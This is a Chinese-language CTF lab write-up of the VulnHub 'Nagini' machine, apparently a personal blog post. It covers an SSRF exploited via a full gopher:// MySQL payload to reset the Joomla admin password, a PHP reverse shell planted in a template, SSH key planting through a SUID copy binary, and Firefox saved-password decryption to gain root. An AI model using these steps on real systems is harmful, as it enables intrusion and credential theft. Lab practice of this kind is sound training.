打靶记录14——Nagini

  • 在J.K.罗琳的《哈利·波特》系列中,纳吉尼(Nagini)是伏地魔的宠物蛇。她是一个非常重要的角色,因为她不仅是伏地魔的伙伴,还被用作伏地魔的一个魂器(Horcrux),即存放伏地魔灵魂的一部分的容器。

靶机:https://download.vulnhub.com/harrypotter/Nagini.ova

难度:

  • 中->高(打点较难)

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • HTTP3协议
  • 域名绑定
  • SSRF漏洞(Gopher + Mysql)
  • Joomla漏洞
  • SSH公钥登录
  • 浏览器密码还原

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.234.119
image.png
可能是Debian操作系统,Web应用是Apache

直接访问80端口发现只有一张图片
image.png

目录扫描

dirsearch -u http://192.168.234.119/
image.png
发现一个Joomla CMS,它是一个几乎与WordPress齐名的CMS系统
我们还发现了这个路径http://192.168.234.119/joomla/administrator/找到了后台登录页面
尝试弱口令登录失败
image.png
那么我们对目标系统可能隐藏的文件再次进行爬取
dirsearch -u http://192.168.234.119/ -f -e html,php,txt -w /usr/share/seclists/Discovery/WebContent/directory-list-2.3-small.txt

  • -f,--force-extensions 参数 在字典的每条记录后面添加文件拓展名
  • -w 参数 用于指定字典文件的路径

发现一个note.txt
image.png
image.png

Hello developers!!

I will be using our new HTTP3 Server at https://quic.nagini.hogwarts for further communications.
All developers are requested to visit the server regularly for checking latest announcements.

Regards,
site_amdin

提示需要使用HTTP3来访问服务器

DNS解析():

我们先把quic.nagini.hogwarts放到我们的Host文件里面

  • Linux vim /etc/hosts
  • Windows 的 hosts 文件在C:\Windows\System32\drivers\etc里面

image.png
ping quic.nagini.hogwarts发现可以ping
image.png
image.png

HTTP3 客户端软件的安装(曲折、麻烦)

git clone --recursive https://github.com/cloudflare/quiche
先下载quiche

  1. sudo apt install cargo
  2. sudo apt install cmake
  3. cargo build --examples
  4. sudo apt purge rustc
  5. curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs sh
  6. 1 选择 1 这个选项
  7. source $HOME/.cargo/env 环境变量
  8. cargo build --examples 安装好 cargo 之后,生成一些例子文件
  9. cargo test 测试成功就可以使用 HTTP3 这个程序了
  10. cd target/debug/examples

image.png

  • ./http3-client https://quic.nagini.hogwarts
  • 发现两条提示
  1. 发现 /internalResourceFeTcher.php 路径
  2. 发现 .bak 备份文件的存在

image.png

http://192.168.234.119/internalResourceFeTcher.php
欢迎来到内网资源获取页面,这里存在SSRF漏洞
image.png

SSRF漏洞

SSRF(Server-Side Request Forgery,服务器端请求伪造)是一种安全漏洞,攻击者可以利用它让服务器在未经授权的情况下代表他们发起请求。通常情况下,服务器的请求是可信的,所以这些请求可能绕过一些访问控制或防火墙,从而访问到本不该访问的内部资源或网络。
SSRF 漏洞可能带来的风险包括:

  1. 访问内部资源:攻击者可以利用 SSRF 漏洞访问内部网络中的服务,比如数据库、内部 API 等。
  2. 探测网络:攻击者可以借助 SSRF 漏洞探测内部网络结构、开放端口等信息。
  3. 信息泄露:如果内部资源返回敏感信息,攻击者可能会通过 SSRF 访问这些信息。
  4. 执行任意操作:在某些情况下,攻击者可以利用 SSRF 漏洞执行恶意操作,比如在某些云服务中,可能访问到元数据服务并获取密钥或凭证。

防范 SSRF 漏洞的方法包括:

  • 输入验证与过滤:严格验证输入,确保只能访问合法的、预期的资源。
  • 网络分段与隔离:在网络架构上隔离敏感资源,减少服务器内部请求的权限。
  • 使用 Web 应用防火墙(WAF):可以过滤和拦截对已知 SSRF 攻击的请求。
  • 限制外部请求:应用程序应仅允许必要的外部请求,并限制请求方法和协议。
  • 监控和日志记录:监控和记录所有外部请求以便检测和调查可疑活动。

首先使用file:///etc/passwd看看目标服务器本机的/etc/passwd文件发现是可以访问的
image.png
http://127.0.0.1也可以
image.png

gopher:// 协议

作为渗透攻击者,我们必须知道gopehr其实也是一种非常强大的协议类型,可以和很多基于 TCP 的后端服务来进行交互,并且可以通过它去发送针对后端服务定制的协议的操作指令。
理论上只要你的后端应用是基于 TCP 协议的,而前端的 Web 应用是存在 SSRF 漏洞,并且可以使用 gopher:// 的方式去对后端应用的服务端口去进行访问的话,满足这些条件的话,就可以利用 gopher 去访问后端所有基于 TCP 协议的所有的应用,并且针对后端的应用类型来发送针对他们具体的操作指令

输入 gopher://127.0.0.1:80 发现浏览器一直在转
image.png
输入 gopher://127.0.0.1:22 直接返回了 SSH 服务的 Banner 信息
image.png
那我们是可以利用 gopher 协议来进行端口扫描和服务发现的,可以用 BurpIntruder 批量扫描

我们回到上面提到网站存在一个 .bak 备份文件,而且是配置文件的备份文件
image.png
百度搜索发现 configuration.php
image.png
那我们尝试访问 http://192.168.0.104/joomla/configuration.php.bak 成功下载了这个文件
image.png
发现了一些很有价值的数据
image.png
image.png

	public $dbtype = 'mysqli';
	public $host = 'localhost';
	public $user = 'goblin';
	public $password = '';
	public $db = 'joomla';
	public $dbprefix = 'joomla_';
	public $live_site = '';
	public $secret = 'ILhwP6HTYKcN7qMh';

	public $mailfrom = 'site_admin@nagini.hogwarts';
	public $fromname = 'Joomla CMS';
	public $sendmail = '/usr/sbin/sendmail';

	public $log_path = '/var/www/html/joomla/administrator/logs';
	public $tmp_path = '/var/www/html/joomla/tmp';

现在有大量现成的工具,帮助我们自动生成,使用 gopher:// 协议利用 SSRF 漏洞向后端数据库去提交各种的数据库操作指令请求
比如 Gopherus 这个工具
下载 git clone https://github.com/tarunkant/Gopherus.git
image.png
./gopherus.py --exploit mysql 运行

  • 数据库名使用 goblin
  • 命令为: use joomla;show tables; 查看所有表名

然后它会把 payload 生成出来
image.png

gopher://127.0.0.1:3306/_%a5%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%67%6f%62%6c%69%6e%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%18%00%00%00%03%75%73%65%20%6a%6f%6f%6d%6c%61%3b%73%68%6f%77%20%74%61%62%6c%65%73%3b%01%00%00%00%01

我们直接提交到页面的表单中,需要多提交几次才能显示出来
image.png
搜索 users 的表名,发现 joomla_users 这个表
image.png
那我们再次生成 payload
要执行的命令改为:use joomla;select * from joomla_users; 查看这个表的内容
image.png
发现账号和密码
image.png
百度谷歌上搜索破解不了密码,那么我们可以用 md5 生成一个密码,然后用 mysqlupdate 语句来改写这个密码。

echo -n "abc" | md5sum 生成 abcmd5
命令改成:use joomla; update joomla_users SET password='900150983cd24fb0d6963f7d28e17f72' WHERE username='site_admin';
image.png
提交表单之后尝试登录,登录成功!
image.png
image.png

反弹Shell

接下来就是需要找模版,然后把我们要 反弹shellpayload 注入进去
image.png
选择这个 Protostar Details and Files
image.png
我们尝试修改这个它本身自带的 error.php文件
image.png
cd /usr/share/webshells/php/去到 kali 中存放 php反弹shell 的地方
image.png
修改一下 php-reverse-shell.php 代码中监听的 IP端口,改成 kali
image.png
image.png
将代码放到 error.php 中并保存
image.png
kali 先开启监听 nc -lvnp 4444
image.png
然后访问 error.php 的路径 http://192.168.0.104/joomla/templates/protostar/error.php 触发 反弹shell
成功获得 shell
image.png

提权

/bin/bash -i 对这个 shell 进行一下简单的升级
image.png
ls /home 主目录下发现 hermoine 赫敏小美女还有 snape 斯内普教授
image.png
cd /home/snape 先去 snape 教授那里看看,发现一个 creds.txt,这是一个身份认证信息的文件,查看发现是 Base64 编码了的
image.png
echo "TG92ZUBsaWxseQ==" | base64 -d 解码后得到 Love@lilly

  • 莉莉是哈利·波特的母亲,而斯内普教授当年是深爱着莉莉的

image.png
ssh snape@192.168.0.104 尝试 SSH 登录 snape 的账号,密码就是 Love@lilly
登录上去之后暂时没有其他的发现
image.png
/var/www/html 这个 Web 目录下发现第一个flaghorcrux1.txt
image.png
image.png

  • 斯莱特林挂坠盒是伏地魔的七大魂器之一,也是霍格沃茨创始人之一萨拉查·斯莱特林的遗物,最后它被罗恩·韦斯莱用格兰芬多宝剑将其销毁。

/home/hermoine 赫敏的主目录有第二个 flag ,但是提示拒绝权限,发现只有 hermoine 自己可以读这个文件,那么我们就需要把自己提升成为 hermoine
image.png
hermoine 目录下发现一个 bin 目录,里面的 su_cp 文件开启了 SUID 权限,并且它是一个可执行文件,执行的时候会以hermoine 这个账号来执行
image.png
我们执行查看一下这个文件 ./su_cp --help,发现它执行的是一个拷贝的任务Copy SOURCE to DEST, or multiple SOURCE(s) to DIRECTORY.是一个拷贝命令
image.png
由于su_cp执行的时候会以hermoine 这个账号的权限来执行,所以我们可以利用这个权限,利用这个拷贝命令,将我 kali 这台主机账号的公钥拷贝到赫敏hermoine她的 SSH 那个目录里面,从而使得目标靶机允许我使用赫敏hermoine这个账号在不需要账号密码的情况下,使用公钥直接登录进入目标系统,登录进入到赫敏hermoine这个账号,这样就可以查看第二个 flag 文件 horcrux2.txt

首先在 kali 本机上生成 ssh 秘钥对,输入命令 ssh-keygen ,默认配置不改它,直接回车
image.png
然后把它拷贝到目标主机上去

  • cd .ssh/
  • ls
  • scp id_ed25519.pub snape@192.168.0.104:~/

image.png
回到 snape 账号,把公钥的名字改成 authorized_keys ,重新赋予 640 的权限
image.png
然后用 su_cp 来拷贝公钥文件到 hermoine.ssh 目录下
./su_cp -p /home/snape/authorized_keys /home/hermoine/.ssh/
image.png
ssh hermoine@192.168.0.104kali 本机直接登录了 hermoine 账号,获得了 horcrux2.txt ,是一串 Base64
image.png
image.png

  • 赫敏用时间转换器回到过去,毁掉了赫奇帕奇的奖杯,这是《哈利波特与死亡圣器》中发生的一件事。她这样做的目的是为了阻止伏地魔找到第二个魂器,也就是赫奇帕奇的金杯。

目前去不了 root 的主目录,那么继续信息收集
image.png
发现 .mozilla 文件夹,我们知道,在 Linux 操作系统中使用 firefox 火狐浏览器的话,就会在主目录生成.mozilla 文件夹
image.png
我们需要用工具提取里面的账号密码
scp -rp hermoine@192.168.0.104:/home/hermoine/.mozilla /tmp 先把这个文件夹放到本机的 /tmp 目录下
image.png
然后从 https://github.com/unode/firefox_decrypt 网址下载工具
python3 firefox_decrypt.py /tmp/.mozilla/firefox 运行脚本获得了账号密码

Website:   http://nagini.hogwarts
Username: 'root'
Password: '@Alohomora#123'

image.png
ssh root@192.168.0.104 直接登录成功!获得 horcrux3.txt
image.png

  • 哈利在有求必应屋门口用蛇怪的毒牙把冠冕刺穿,随即被罗恩踢入格雷戈里·高尔释放的厉火中彻底烧毁。

总结

  • 靶机新颖有趣,也涉及了很多新技术。
posted @ 2024-09-02 17:03  Fab1an  阅读(5)  评论(0编辑  收藏  举报